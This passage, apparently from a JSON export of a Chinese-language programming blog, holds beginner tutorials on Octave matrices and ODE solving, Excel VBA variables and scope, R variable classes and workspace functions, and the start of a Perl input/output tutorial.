2.1) / sqrt(2 * 5.6) ) ans = 2.0486\n一般工程計算機可以處理的數學運算，Octave 都可以透過這些內建的數學函數來處理。\n向量與矩陣 在 Octave 中要建立一個矩陣，可以使用中括弧，矩陣的元素以逗號分別隔，每個列（row）之間則以分號分隔，例如要產生一個 2 乘 3 的矩陣：\nA = [ 1, 6, 2; 3, 5, 8 ] 輸出為 A =\n1 6 2\n3 5 8\n若要存取向量或陣列中的元素，可以使用索引的方式，使用方法就是以小括弧將元素的索引包起來，例如要取出矩陣 A 裡面第一列第二行的元素：\nA(1, 2) 輸出為 ans = 6\n在 Octave 中，若是在指令後面加入分號（;），就不會自動將結果輸出：\nB = rand(3, 2); 所產生的 B 是一個 3 乘以 2 的矩陣，其每個元素都介於 0 與 1 之間。\n若要顯示任何變數的內容，直接輸入其變數名稱即可，例如要查看矩陣 B 的內容：\nB 矩陣運算是 Octave 最擅長的部份之一，例如將矩陣乘上一個倍數：\n2 * A 矩陣相乘：\nA * B 矩陣轉置：\nA\u0026#39; 關於更詳細的矩陣使用說明，請參考數值資料。\n線性聯立方程式 在 Octave 要解線性聯立方程式，可以使用反斜線運算子（\\），例如要解下列聯立方程式：\n$$ \\left\\{ \\begin{matrix} x_1 + 2x_2 \u0026=\u0026 3.5 \\\\ 3x_1 + 5x_2 \u0026=\u0026 1.6 \\\\ \\end{matrix} \\right. $$以矩陣表示：\n\\[ Ax=b \\]其中 \\[ A = \\left( \\begin{array}{clr} 1 \u0026 2 \\\\ 3 \u0026 5 \\end{array}\\right),\\quad x = \\left( \\begin{array}{clr} x_1 \\\\ x_2 \\end{array}\\right),\\quad b = \\left( \\begin{array}{clr} 3.5 \\\\ 1.6 \\end{array}\\right) \\]接下來以 Octave 來解此方程式，首先設定 A 與 b\nA = [ 1, 2; 3, 5 ] b = [ 3.5; 1.6 ] 接著以反斜線運算子解此聯立方程式：\nx = A \\ b 輸出為\nx =\n-14.3000\n8.9000\n所得到的解為\n$$ x = \\left( \\begin{array}{clr} x_1 \\\\ x_2 \\end{array}\\right) = \\left( \\begin{array}{clr} -14.3 \\\\ 8.9 \\end{array}\\right) $$A \\ b 等同於 A 的反矩陣乘以 b，但是可以避免直接計算 A 的反矩陣。\n微分方程 Octave 有內建一些函數專門用於解非線性的微分方程式，要讓 Octave 解這樣的微分方程式，首先必須定義此函數 f(x, t)，定義方式很簡單，基本上就是直接輸入函數內容即可：\nfunction xdot = f (x, t) r = 0.25; k = 1.4; a = 1.5; b = 0.16; c = 0.9; d = 0.8; xdot(1) = r*x(1)*(1 - x(1)/k) - a*x(1)*x(2)/(1 + b*x(1)); xdot(2) = c*a*x(1)*x(2)/(1 + b*x(1)) - d*x(2); endfunction 設定起始條件（initial condition）：\nx0 = [ 1; 2 ]; 設定輸出的時間：\nt = linspace (0, 50, 200)\u0026#39;; 使用 Octave 解此微分方程式：\nx = lsode (\u0026#34;f\u0026#34;, x0, t); lsode() 函數是 Livermore Solver for Ordinary Differential Equations 的縮寫。\n繪圖 在 Octave 中最簡單的繪圖函數就是 plot() 函數，例如畫出 sin() 函數的圖形：\na = 1:0.1:8; figure(1); plot(a, sin(a)) 畫出的圖形為\n接續前一節的範例，要將微分方程式的解畫出來可以使用\nfigure(2); plot (t, x) 畫出的圖形為\n若是在圖形介面之下，Octave 會開啟另一個繪圖視窗顯示圖形，若要將此顯示在螢幕上的圖形儲存至檔案中，可以使用 print 指令：\nprint \u0026#34;-S500,400\u0026#34; -dpng output.png 此指令會將目前顯示在螢幕上的圖形輸出成 500 乘 400 像素的 png 圖檔儲存至 output.png 檔案中。關於更進一步的繪圖功能可以參考繪圖。\n命令列操作 在 Octave 中可以使用 Ctrl + p 鍵顯示上一個執行過的指令，Ctrl + n 顯示下一個指令，而 Ctrl + b 與 Ctrl + f 可以左右移動輸入游標進而鍵編輯指令內容，在大部分的系統上亦可以使用上下左右鍵來操作，詳細的操作方式請參考操作環境。\n線上說明 Octave 有非常完整的說明文件，要查詢某一個函數的使用方法，可使用 help，例如查詢 plot 函數的使用方法：\nhelp plot 有時候 Octave 所輸出的說明文件太多，所有的文件無法一次顯示在螢幕上時，按下 Enter 鍵可以顯示下一行，按下空白鍵可以顯示一頁，在部份的系統中亦可以使用上下鍵瀏覽，若要離開則按下 q 鍵。\n除了 help 之外亦可以使用 doc 查看線上參考手冊，\ndoc 若要搜尋線上文件，可使用 lookfor 指令，詳細的說明請參考操作環境中的線上說明文件。\n","permalink":"https://blog.gtwang.org/octave/getting-started-with-octave/","summary":"\u003cp\u003e針對 Octave 初學者的入門教學，包含基本的 Octave 使用方式、簡單的數值運算、向量與矩陣、線性聯立方程式、微分方程式、繪圖與其他常用的功能。\u003c/p\u003e\n\u003ch2 id=\"開啟-octave\"\u003e開啟 Octave\u003c/h2\u003e\n\u003cp\u003e首先開啟 Octave 軟體（若您的系統尚未安裝 Octave 軟體，請參考\u003ca href=\"/octave/download-and-install-octave/\"\u003e下載與安裝 Octave\u003c/a\u003e），若您的系統是 Linux 則直接在終端機（terminal）下執行 octave 指令即可：\u003c/p\u003e","title":"開始使用 Octave"},{"content":"這裡介紹如何在 Excel VBA 中宣告、初始化與操作各種變數。\n一般在程式設計上，變數在使用前都要經過宣告（declare）與定義（define）兩個步驟，宣告就是讓電腦知道我們要使用變數，而定義則是將變數的內容指定為一個特定的值，在 Excel VBA 中也是一樣有這些步驟，以下是一些教學與範例。\n宣告與初始化變數 Excel VBA 中的變數宣告是使用 Dim 與 As 兩個關鍵字，分別指定變數名稱以及變數的類型，例如宣告一個整數類型的變數 x：\nDim x As Integer 這樣就會建立一個變數 x，不過這時候該變數並沒有儲存任何的資料，若要設定變數一開始的值，就要對變數進行定義，而定義變數的語法很單純，只是使用簡單的等號而已：\nx = 5 這樣就可以將變數 x 指定成 5，隨後就可以開始使用這個新建立好的變數了：\nRange(\u0026#34;A1\u0026#34;).Value = x 這是浮點數的例子：\nDim x As Double x = 5.5 MsgBox \u0026#34;value is \u0026#34; \u0026amp; x 布林值：\nDim x As Boolean x = True MsgBox \u0026#34;value is \u0026#34; \u0026amp; x 字串：\nDim x As String x = \u0026#34;G.T.Wang\u0026#34; MsgBox \u0026#34;My name is \u0026#34; \u0026amp; x Excel VBA 中的變數類型有好多種，完整的變數類型列表請參考 Microsoft Learn 網頁。\n萬用類型變數 上面介紹的那些是屬於一般性的變數類型，而 VBA 中種特殊的萬用類型變數，也就是一種可以儲存任何資料的類型，其稱為 Variant，其使用方式與一般的類型類似：\nDim x As Variant x = \u0026#34;G.T.Wang\u0026#34; MsgBox \u0026#34;My name is \u0026#34; \u0026amp; x x = 123 MsgBox \u0026#34;The value is \u0026#34; \u0026amp; x 宣告為 Variant 的變數可以儲存任何類型的資料。\n如果在宣告變數時不指定變數類型，則 VBA 預設會將變數視為 Variant 類型，所以這兩種寫法的效果是相同的。\nDim x As Variant Dim x \u0026#39; 預設為 Variant Variant 類型的變數通常可用於從 Excel 儲存格中讀取使用者輸入的資料，由於使用者輸入的資料變異性很大，可能會是任何類型，所以直接使用 Variant 來儲存會比較方便。\n雖然 Variant 非常方便，但它的缺點就是程式執行效能較差，所以除非必要，在一般的情況下還是使用固定的變數類型較佳。\n未經宣告的變數 Excel VBA 也允許使用者省略變數宣告，所以其實未經宣告也可以直接定義變數：\nMyVar = 35 未經宣告的變數預設會是 Variant 萬用類型。\n雖然不宣告就使用變數非常方便，但明確宣告變數可以讓程式執行效率較好，而且比較不容易因為打錯字造成 bugs，所以建議在寫程式時都明確加入變數宣告。如果想避免自己在寫程式時，不小心在沒有宣告的情況下就使用變數，或是有宣告變數，但是在使用時打錯又沒發現，可以在程式碼的開頭加上：\nOption Explicit \u0026#39; 強迫變數宣告 Sub Hello() Dim MyVar As Integer MyVar = 10 MyInt = 10 \u0026#39; 未宣告 End Sub 這樣只要遇到變數未宣告就使用的狀況，編譯時就會出現錯誤訊息：\n變數範圍 在一般的 Sub 副程式中宣告的變數，其範圍僅限於該副程式，也就是所謂的區域變數：\nSub Hello1() Dim MyVar As Integer MyVar = 12 MsgBox MyVar End Sub Sub Hello2() Dim MyVar As Integer MyVar = 34 MsgBox MyVar End Sub 若希望一個變數可以在整個模組內的副程式中使用，則可將變數宣告於副程式之外，建立模組層級的變數：\nDim MyVar As Integer Sub Hello1() MyVar = 12 MsgBox MyVar End Sub Sub Hello2() MsgBox MyVar End Sub 這樣一來，在 Hello1 執行完之後，再繼續執行 Hello2 時，其所取得的 MyVar 變數值就會是 Hello1 中所設定的 12。\n如果在程式比較複雜時，一個應用程式中可能會有好多個模組，一般模組層級的變數只能在該變數隸屬的模組之內被存取，若要在其他模組之內也可以存取，就必須將變數宣告為公開（public）的變數，宣告方式是將 Dim 改為 Public。假設應用程式中有兩個模組，分別為 Module1 與 Module2，而我們想要在 Module1 中宣告一個 MyVar 變數，並且讓這個變數在 Module2 模組中也可以使用，則 Module1 會是這樣寫：\nPublic MyVar As Integer Sub Hello1() MyVar = 12 MsgBox MyVar End Sub Module2 則為：\nSub Hello2() MsgBox MyVar End Sub 這樣 Module1 與 Module2 兩個模組就可以同時存取 MyVar 這個變數的內容了。\n常數 如果希望變數的內容在程式的執行過程中都是固定的，不會不小心被更改，可以把這種固定的變數加上 Const，宣告為常數，例如：\nConst MyInteger As Integer = 42 這樣一來 MyInteger 這個整數就是一個不變的常數，無法被更改。\n各種類型的變數都可以宣告為常數，用法都類似：\nConst myDate As Date = #2/2/2020# Const myDay As String = \u0026#34;Sunday\u0026#34; 參考資料：\nPower Spreadsheets ","permalink":"https://blog.gtwang.org/courses/vba/excel-vba-programming-variable/","summary":"\u003cp\u003e這裡介紹如何在 Excel VBA 中宣告、初始化與操作各種變數。\u003c/p\u003e\n\u003cp\u003e一般在程式設計上，變數在使用前都要經過宣告（declare）與定義（define）兩個步驟，宣告就是讓電腦知道我們要使用變數，而定義則是將變數的內容指定為一個特定的值，在 Excel VBA 中也是一樣有這些步驟，以下是一些教學與範例。\u003c/p\u003e","title":"Excel VBA：變數的宣告、定義與操作"},{"content":"在 R 中所有的變數都有一個類別（class）屬性，它紀錄每個變數所屬的類別，例如大部分的數值都屬於 numeric 類別，而邏輯值則是屬於 logical 類別。\n嚴格來說應該是數值向量屬於 numeric 類別，而邏輯向量屬於 logical 類別，因為在 R 中最基礎的資料結構就是向量，並沒有單一的純量。\nR 的 class 函數可以用來判斷變數所屬的類別：\nclass(c(TRUE, FALSE)) [1] \"logical\" 由 TRUE 與 FALSE 所組成的向量是屬於 logical 類別。\n除了類別（class）之外，R 的變數還有一個內部儲存用的類型（type）屬性、一個模式（mode）屬性，以及一個儲存模式（storage mode）屬性，這幾種屬性是前幾代舊版的 R 所遺留下來的，一般的使用者在大部份的狀況下並不會直接使到它們（除非您準備要加入 R 的核心開發者團隊），目前我們只需要熟悉類別（class）即可，以下我們在討論變數的類型時，都會以變數的類別（class）為主。關於四種屬性的對應關係，請參考後面的補充資料。\n各種數值變數 在 R 中的數值總共有三種，分別為：\nnumeric：浮點數。 integer：整數。 complex：複數。 我們可以使用 class 函數來檢查變數的類型，一般的數字預設都會是浮點數：\nclass(3) [1] \"numeric\" 如果要指定整數，可以在數字後面加上 L：\nclass(3L) [1] \"integer\" 這是複數：\nclass(2 + 3i) [1] \"complex\" 一般的序列會是整數：\nclass(5:10) [1] \"integer\" 序列經過某些數學運算之後，會轉為浮點數：\nclass(sqrt(5:10)) [1] \"numeric\" 不過某些別的數學運算也還是會保持整數的類型：\nclass(sum(5:10)) [1] \"integer\" 這是浮點數組成的序列：\nclass(1.3:5.3) [1] \"numeric\" R 處理數值的限制 R 的 .Machine 這個內建變數中有一些關於數值資料的資訊，這些資訊可能會因為不同的電腦而有不同（不過對大多數的電腦而言，通常都是一樣的），以下是跟一般使用者比較相關的數值。\n.Machine$double.xmax 與 .Machine$double.xmin 分別表示目前 R 所能處理的最大浮點數與最小正浮點數：\n.Machine$double.xmax [1] 1.797693e+308 .Machine$double.xmin [1] 2.225074e-308 .Machine$integer.max 則是 R 可以處理的最大整數值：\n.Machine$integer.max [1] 2147483647 2147483647 這個值就等於 \\(2^{31}-1\\)。\n如果需要更高精度的數值運算，可以使用 Rmpfr 這個套件，而如果是大數運算，則可以使用 brobdingnab 套件。\n.Machine$double.eps 是 R 中不同數值的最小差異值，如果兩個不同數值的差異小於這個值，那麼 R 會將兩個數值視為相同的，而 all.equal 在判斷兩個向量是否相同時，也是使用這個值。\n.Machine$double.eps [1] 2.220446e-16 如果要讓 R 判斷 1 + \\(\\epsilon\\) 不等於 1，則這個 \\(\\epsilon\\) 值就不可以小於上面這個門檻值，如果 \\(\\epsilon\\) 小於這個門檻值，R 就會無法判斷：\n1 + 2.220446e-16 == 1 [1] FALSE 1 + 2.220446e-17 == 1 [1] TRUE 其餘各類型變數 除了最常用到的數值變數與邏輯變數之外，R 還有三種主要的變數類型，分別為字元（character）、因子（factor）以及原始（raw）類型，以下介紹這幾種類型的變數使用方式。\n字元向量 字元向量跟一般數值向量一樣可以使用 c 函數來建立：\nc(\u0026#34;Hello\u0026#34;, \u0026#34;World\u0026#34;) 使用 class 來檢查字元向量：\nclass(c(\u0026#34;Hello\u0026#34;, \u0026#34;World\u0026#34;)) [1] \"character\" R 是屬於比較高階的語言，在 R 中的字元變數不會像其他低階的程式語言一樣有區分單一字元與字串，也不需要像 C 語言一樣考慮字串結尾的 null 字元問題，使用者只需要直接很直覺的使用它即可。\n因子向量 一般的程式語言在處理類別型的資料時，都會以整數來表示，例如男性與女性的資料可能就會以 1 與 2 來代表，但這樣的表示方法會讓人很難閱讀，另外有一種比較好一點做做法是直接使用文字來表示，例如男性以 male 表示，而女性則使用 female 表示，然而這樣還是有其缺點，畢竟類別型的資料跟一般的文字還是有不同的地方。\nR 本身對於類別型的資料有獨特的處理方式，它將整數與文字的概念結合，建立一種專門表示類別資料的因子（factor）資料型態：\ngender \u0026lt;- factor(c(\u0026#34;male\u0026#34;, \u0026#34;female\u0026#34;, \u0026#34;male\u0026#34;)) gender [1] male female male Levels: female male 因子變數的內容看起來跟字元變數很類似，我們可以直接看得到每個值的名稱，我們可以使用 levels 來列出因子變數中所有的類別：\nlevels(gender) [1] \"female\" \"male\" 而 nlevels 則是可以計算因子變數類別的總數：\nnlevels(gender) [1] 2 因子變數在建立時，預設會以類別名稱來排序（依照英文字母的順序），所以 female 會是第一個，而 male 則是第二個。\n因子變數的名稱背後其實對應的是一些整數資料（R 內部在儲存這些資料時，都是使用整數），我們可以使用 as.integer 來看其對應的數值：\nas.integer(gender) [1] 2 1 2 相較於一般文字資料，以整數的形式儲存類別資料會比較節省記憶體空間，尤其是在類別數量少而資料量大的時候特別明顯，以下我們做一個測試，首先以一般的字元變數來產生 5000 個男生與女生的取樣資料，再將這個資料轉換為因子變數。\ngender.char \u0026lt;- sample(c(\u0026#34;female\u0026#34;, \u0026#34;male\u0026#34;), 5000, replace = TRUE) gender.factor \u0026lt;- as.factor(gender.char) 這裡的 as.factor 會將 gender.char 這個字元的向量轉換為因子向量。接下來我們使用 object.size 來比較看看兩者之間的大小差異：\nobject.size(gender.char) 40136 bytes object.size(gender.factor) 20512 bytes object.size 函數會傳回變數所使用的記憶體大小，將字元變數轉換為因子變數之後，可以節省不少記憶體空間。\n如果要將因子變數轉換回字元變數，可以使用 as.character 函數：\nas.character(gender) [1] \"male\" \"female\" \"male\" Raw 向量 raw 向量是專門用來儲存二進位資料的向量，我們可以將 0 到 255 之間的整數使用 as.raw 轉換為 raw 向量，而這種 raw 向量在輸出時，會以十六進位的方式輸出：\nas.raw(0:16) [1] 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 as.raw 將資料轉換為 raw 向量時，只接受 0 到 255 之間的整數，所有的小數或是虛數都會被捨去，如果遇到不在這個區間的數值，會被直接轉換為 00：\nas.raw(c(pi, 4 + 3i, -23, 300)) [1] 03 04 00 00 如果發生了上述幾種轉換的狀況，R 也會送出警告訊息：\nWarning messages: 1: 強制變更時丟棄了虛數部分 2: 在強制變更成純量值時，任何溢位值當作 0 來處理 如果是字元變數要轉換為 raw 向量的話，可以使用 charToRaw 函數：\ncharToRaw(\u0026#34;gtwang\u0026#34;) [1] 67 74 77 61 6e 67 除了以上介紹的幾種變數類型之外，R 還有很多其他類型的變數，其餘的部分會在後續的教學內容中慢慢介紹。\n檢查與變更變數類別 在互動式的 R 操作環境之下，使用 class 函數可以立即檢查變數的類型，但是如果要在 R 的指令稿中確認變數的類型，class 函數就不是那麼方便使用了，此時可以改用 is 函數：\nx \u0026lt;- 3 is(x, \u0026#34;numeric\u0026#34;) [1] TRUE is 函數的第一個參數是要檢查的變數，而第二個參數則是類型名稱，它在檢查之後會傳回一個布林值（TRUE 或 FALSE），這樣可以很方便的放在判斷式中使用，例如：\nif(is(x, \u0026#34;class_name\u0026#34;)) { # ... } 大部分的變數類型都會有一個對應的 is.* 檢查函數，使用這類的函數會比一般性的 is 函數更有效率一些：\nis.character(\u0026#34;gtwang\u0026#34;) [1] TRUE is.* 這類的函數有很多，我們可以使用下面這行指令列出所有 ls 開頭的指令：\nls(pattern = \u0026#34;^is\u0026#34;, baseenv()) [1] \"is.array\" \"is.atomic\" \"is.call\" [4] \"is.character\" \"is.complex\" \"is.data.frame\" [7] \"is.double\" \"is.element\" \"is.environment\" [10] \"is.expression\" \"is.factor\" \"is.finite\" [13] \"is.function\" \"is.infinite\" \"is.integer\" [16] \"is.language\" \"is.list\" \"is.loaded\" [19] \"is.logical\" \"is.matrix\" \"is.na\" [22] \"is.na.data.frame\" \"is.na.numeric_version\" \"is.na.POSIXlt\" [25] \"is.na\u0026lt;-\" \"is.na\u0026lt;-.default\" \"is.na\u0026lt;-.factor\" [28] \"is.na\u0026lt;-.numeric_version\" \"is.name\" \"is.nan\" [31] \"is.null\" \"is.numeric\" \"is.numeric_version\" [34] \"is.numeric.Date\" \"is.numeric.difftime\" \"is.numeric.POSIXt\" [37] \"is.object\" \"is.ordered\" \"is.package_version\" [40] \"is.pairlist\" \"is.primitive\" \"is.qr\" [43] \"is.R\" \"is.raw\" \"is.recursive\" [46] \"is.single\" \"is.symbol\" \"is.table\" [49] \"is.unsorted\" \"is.vector\" \"isatty\" [52] \"isBaseNamespace\" \"isdebugged\" \"isIncomplete\" [55] \"isNamespace\" \"isNamespaceLoaded\" \"isOpen\" [58] \"isRestart\" \"isS4\" \"isSeekable\" [61] \"isSymmetric\" \"isSymmetric.matrix\" \"isTRUE\" 這裡我們是使用正規表示法（regular expression）列出 baseenv 這個基礎環境中所有 is 開頭的函數，這些細節在後面的教學中會陸續介紹。\n數值變數的檢查函數常用的有 is.numeric、is.integer 與 is.double 這三個，is.numeric 對於整數或是浮點數都會傳回 TRUE：\nis.numeric(1) [1] TRUE is.numeric(1L) [1] TRUE 而 is.integer 只會對於整數傳回 TRUE：\nis.integer(1) [1] FALSE is.integer(1L) [1] TRUE is.double 則是對於浮點數傳回 TRUE：\nis.double(1) [1] TRUE is.double(1L) [1] FALSE 變數轉型（Casting） 改變變數的類型稱為轉型（casting），在 R 中我們可以使用 as 來處理變數轉型的問題：\nx \u0026lt;- \u0026#34;23.96\u0026#34; as(x, \u0026#34;numeric\u0026#34;) [1] 23.96 而上述的各種 is.* 函數通常都會有對應的 as.* 函數，運用這類的函數會比一般的性的 as 更有效率：\nas.numeric(x) [1] 23.96 將數值向量轉換為 data frame：\ny \u0026lt;- c(25, 53, 82, 33) as.data.frame(y) y 1 25 2 53 3 82 4 33 另外還有一種改變變數類型的方式，就是直接指定變數的類別名稱：\nx \u0026lt;- \u0026#34;23.96\u0026#34; class(x) \u0026lt;- \u0026#34;numeric\u0026#34; x [1] 23.96 is.numeric(x) [1] TRUE 檢驗變數 這裡介紹一些在 R 中常用的變數檢視方式。\nprint 函數 當我們在 R 的命令列輸入運算式或變數名稱時，R 會自動輸出計算的結果，這是因為 R 自動呼叫變數所對應的 print 方法所導致的，也就是說執行\n3 * 2 跟執行\nprint(3 * 2) 所做的動作是一樣的。但如果是在函數或迴圈當中，R 就不會自動呼叫 print 來輸出結果：\nprime \u0026lt;- c(2, 3, 5, 7, 11, 13) for (x in prime) { x } 如果我們需要在函數獲迴圈中輸出變數的值，就要明確呼叫 print 函數：\nfor (x in prime) { print(x) } [1] 2 [1] 3 [1] 5 [1] 7 [1] 11 [1] 13 在 print 函數的內部會呼叫 cat 這個低階函數來輸出資料，cat 函數通常只有在開發各種 print 函數時會使用，一般的狀況下我們不會直接呼叫它。\nsummary 函數 除了直接輸出變數內容之外，我們也可以使用 summary 函數來檢視變數的基本統計量，幫助我們快速了解資料的分佈狀況，對於數值類的資料 summary 會計算平均值（mean）、中位數（median）、還有各個分位數（quantiles）：\nx \u0026lt;- rnorm(30) summary(x) Min. 1st Qu. Median Mean 3rd Qu. Max. -3.27700 -0.45780 0.02265 0.07430 0.92850 1.94900 這裡我們呼叫 rnorm 產生 30 筆標準常態分佈的資料，並使用 summary 來檢視資料的概況。\n若遇到類別型的因子變數，summary 會計算每個值出現的次數：\ny \u0026lt;- sample(c(\u0026#34;A\u0026#34;, \u0026#34;B\u0026#34;, \u0026#34;C\u0026#34;), 30, replace = TRUE) y.factor \u0026lt;- factor(y) summary(y.factor) A B C 9 7 14 這裡的我們使用 sample 函數對 c(\u0026quot;A\u0026quot;, \u0026quot;B\u0026quot;, \u0026quot;C\u0026quot;) 進行重複取樣，取出的樣本再轉換為因子變數，最後呼叫 summary 輸出每個字母出現的總數。\n布林值的變數也是跟因子變數類似，同樣會輸出每個值出現的次數：\nz \u0026lt;- sample(c(TRUE, FALSE, NA), 30, replace = TRUE) summary(z) Mode FALSE TRUE NA's logical 14 5 11 對於多維度的資料，summary 會對每個欄位的資料分別計算基本統計量，這裡我們使用上面建立好的三個變數組成一個 data frame：\nxyz.df \u0026lt;- data.frame(x, y, z) 我們可以使用 head 查看 data frame 開頭的幾列資料，稍微瞭解一下原始資料的形式：\nhead(xyz.df) x y z 1 0.80229870 C FALSE 2 0.97031534 C TRUE 3 0.97657093 A FALSE 4 1.26690080 C FALSE 5 0.41189886 A TRUE 6 -0.01411904 B NA 接著呼叫 summary：\nsummary(xyz.df) x y z Min. :-3.27717 A: 9 Mode :logical 1st Qu.:-0.45777 B: 7 FALSE:14 Median : 0.02265 C:14 TRUE :5 Mean : 0.07430 NA's :11 3rd Qu.: 0.92848 Max. : 1.94892 str 函數 str 是一個用來檢視變數資料結構的函數，他會顯示變數的類型以及開頭的幾個值：\nstr(x) num [1:30] 0.802 0.97 0.977 1.267 0.412 ... str 特別適合用於檢視像 data frame 這類較複雜的變數：\nstr(xyz.df) 'data.frame':\t30 obs. of 3 variables: $ x: num 0.802 0.97 0.977 1.267 0.412 ... $ y: Factor w/ 3 levels \"A\",\"B\",\"C\": 3 3 1 3 1 2 2 1 3 1 ... $ z: logi FALSE TRUE FALSE FALSE TRUE NA ... 變數內部結構 我們之前提過每一種變數都有對應的 print 函數，變數的內容會透過這些 print 函數的控制，進而將資料以適當（易讀）的方式輸出，有時候 print 會忽略一些變數內部的結構，只輸出資料本身的資訊，讓使用者更容易清楚地閱讀。\n如果我們想要查看變數內部原始的資料結構，可以使用 unclass 函數將變數的類別屬性移除，使變數在輸出時跳過 print 函數的解析步驟，直接以原始的形式輸出：\nunclass(y.factor) [1] 3 3 1 3 1 2 2 1 3 1 2 1 2 1 3 3 1 3 2 2 3 3 3 2 3 3 1 3 3 1 attr(,\"levels\") [1] \"A\" \"B\" \"C\" 另外 attributes 函數也可以用來顯示變數的屬性：\nattributes(y.factor) $levels [1] \"A\" \"B\" \"C\" $class [1] \"factor\" 圖形介面工具 在 R 中如果要檢視二為的資料矩陣或 data frame，可以使用 View 這個工具（請注意 V 是大寫），它可以使用類似 Excel 試算表的方式呈現二維的資料：\nView(xyz.df) 執行之後，會開啟這樣的視窗：\n使用 View 所開啟的視窗只供使用者閱讀資料，無法直接修改，若要在上面直接修改資料，請改用 edit：\nxyz.df.new \u0026lt;- edit(xyz.df) 這樣在修改完之後，新的資料會儲存在 xyz.df.new 這個變數中，如果要直接修改原本的 xyz.df，可以使用 fix：\nfix(xyz.df) 工作空間 在 R 的互動式環境下工作時，我們可以使用 ls 來列出目前已經被建立的變數名稱：\nfoo \u0026lt;- 3 bar \u0026lt;- \u0026#34;Hello World\u0026#34; foo.bar \u0026lt;- 1:5 ls() [1] \"bar\" \"foo\" \"foo.bar\" ls 的 pattern 參數可以指定搜尋的關鍵字，篩選變數名稱：\nls(pattern = \u0026#34;foo\u0026#34;) [1] \"foo\" \"foo.bar\" 在預設的狀況下，ls 不會顯示以句點（.）開頭的隱藏變數（這跟 UNIX/Linux 系統上的規則相同），如果想要連同隱藏的變數一起列出來，可以加上 all.names = TRUE 參數：\n.hide.var \u0026lt;- 23 ls() [1] \"bar\" \"foo\" \"foo.bar\" ls(all.names = TRUE) [1] \".hide.var\" \"bar\" \"foo\" \"foo.bar\" ls.str 是結合 ls 與 str 的一個函數，可以列出各個變數的名稱與內部結構：\nls.str() bar : chr \"Hello World\" foo : num 3 foo.bar : int [1:5] 1 2 3 4 5 browseEnv 可以在瀏覽器中顯示目前工作空間中的變數：\nbrowseEnv() 通常在 R 的環境下工作一段時間之後，會在工作空間中建立許多的變數，如果要刪除一些不再使用的變數，可以使用 rm 函數：\nrm(bar, foo) rm 可以配合 ls 將所有的變數一次刪除：\nrm(list = ls()) 補充資料 R 有四種區分變數類型的屬性，分別為類別（class）、類型（type）、模式（mode）與儲存模式（storage mode），大部分的狀況下我們只會使用到類別（class），遇到類別不敷使用時才會需要使用其他幾個屬性（例如區分陣列（array）的狀況），這時候就可以使用 is.numeric 這類的函數。\n下表是 R 各種類型變數的類別（class）、類型（type）、模式（mode）與儲存模式（storage mode）的對應。\n類別 類型 模式 儲存模式 Logical logical logical logical logical Integer integer integer numeric integer Floating Point numeric double numeric double Complex complex complex complex complex String character character character character Raw Byte raw raw raw raw Categorical factor integer numeric integer Null NULL NULL NULL NULL Logical Matrix matrix logical logical logical Numeric Matrix matrix double numeric double Character Matrix matrix character character character Logical Array array logical logical logical Numeric Array array double numeric double Character Array array character character character List list list list list Data Frame data.frame list list list Function function closure function function Environment environment environment environment environment Expression expression expression expression expression Call call language call language Formula formula language call language ","permalink":"https://blog.gtwang.org/r/r-variables-and-workspace/","summary":"\u003cp\u003e在 R 中所有的變數都有一個類別（class）屬性，它紀錄每個變數所屬的類別，例如大部分的數值都屬於 \u003ccode\u003enumeric\u003c/code\u003e 類別，而邏輯值則是屬於 \u003ccode\u003elogical\u003c/code\u003e 類別。\u003c/p\u003e\n\u003cblockquote class=\"notes\"\u003e\u003cp\u003e嚴格來說應該是數值向量屬於 \u003ccode\u003enumeric\u003c/code\u003e 類別，而邏輯向量屬於 \u003ccode\u003elogical\u003c/code\u003e 類別，因為在 R 中最基礎的資料結構就是向量，並沒有單一的純量。\u003c/p\u003e","title":"R 變數與工作空間"},{"content":"標準輸入輸出 # 標準輸入輸出 # (1) STDIN, STDOUT, STDERR print \u0026#34;Enter your name:\u0026#34;; $input = \u0026lt;STDIN\u0026gt;; # 從 STDIN 讀入 print STDOUT \u0026#34;Hello, $input\u0026#34;; # 輸出至 STDOUT # 註：print 預設輸出至 STDOUT # 把 STDIN 內容全部讀入 @all_lines，每一行為一個元素 @all_lines = \u0026lt;STDIN\u0026gt;; # 輸出至 STDERR print STDERR \u0026#34;This is an error!\u0026#34;; # (2) 鑽石算符 # 從參數指定之檔案讀入資料， # 若未指定檔案，則從標準輸入讀入資料 while(\u0026lt;\u0026gt;){ print; # 等同於 print STDOUT $_; } # 註：此 Perl script 相當於 cat # (3) printf 格式化輸出 $name = \u0026#34;Joe\u0026#34;; # Hello, Joe. printf \u0026#34;Hello, %10s.\\n\u0026#34;,$name; # Hello, Joe . printf \u0026#34;Hello, %-10s.\\n\u0026#34;,$name; # 註：輸出格式請參考 perlfunc(1) 檔案輸入輸出 # 檔案輸入輸出 # (1) 檔案代碼 (filehandle) # 開啟檔案，預設為讀入模式 open INFILE, \u0026#34;input1.txt\u0026#34;; # 從 INFILE 讀入一行 $line1 = \u0026lt;INFILE\u0026gt;; # 從 INFILE 讀入下一行 $line2 = \u0026lt;INFILE\u0026gt;; # 關閉檔案 close INFILE; # 以覆寫模式開啟檔案輸出 open OUTFILE, \u0026#34;\u0026gt;output3.txt\u0026#34;; # 把 $line1 寫入 OUTFILE print OUTFILE $line1; # 把 $line2 寫入 OUTFILE print OUTFILE $line2; # 關閉檔案 close OUTFILE; open INFILE2, \u0026#34;\u0026lt;input2.txt\u0026#34;; # 以讀入模式開啟檔案 # 把 INFILE2 檔案內容全部讀入 @all_line @all_line = \u0026lt;INFILE2\u0026gt;; close INFILE2; # 關閉檔案 # 以附加模式開啟檔案輸出 open OUTFILE2, \u0026#34;\u0026gt;\u0026gt;output4.txt\u0026#34;; # 把第一行附加至 OUTFILE2 之後 print OUTFILE2 $all_line[0]; close OUTFILE2; # 關閉檔案 # 開啟檔案，預設為讀入模式 open INFILE, \u0026#34;input1.txt\u0026#34;; while(\u0026lt;INFILE\u0026gt;){ print; # 將檔案讀入內容印出，相當於 cat } close INFILE; # (2) 使用 pipe open IN,\u0026#34;ls|\u0026#34;; # 把 ls 的輸出當作輸入 @file = \u0026lt;IN\u0026gt;; close IN; open OUT,\u0026#34;|sort -r\u0026#34;; # 把輸出導入 sort for(@file){ chomp; print OUT \u0026#34;\u0026lt;$_\u0026gt;\\n\u0026#34;; } close OUT; # (3) DATA 檔案代碼 # 放在 perl script 檔內結尾處的資料，以 \u0026#34;__END__\u0026#34; 開始， # 使用方式即直接使用 \u0026lt;DATA\u0026gt; 檔案代碼。 while(\u0026lt;DATA\u0026gt;){ %hash = 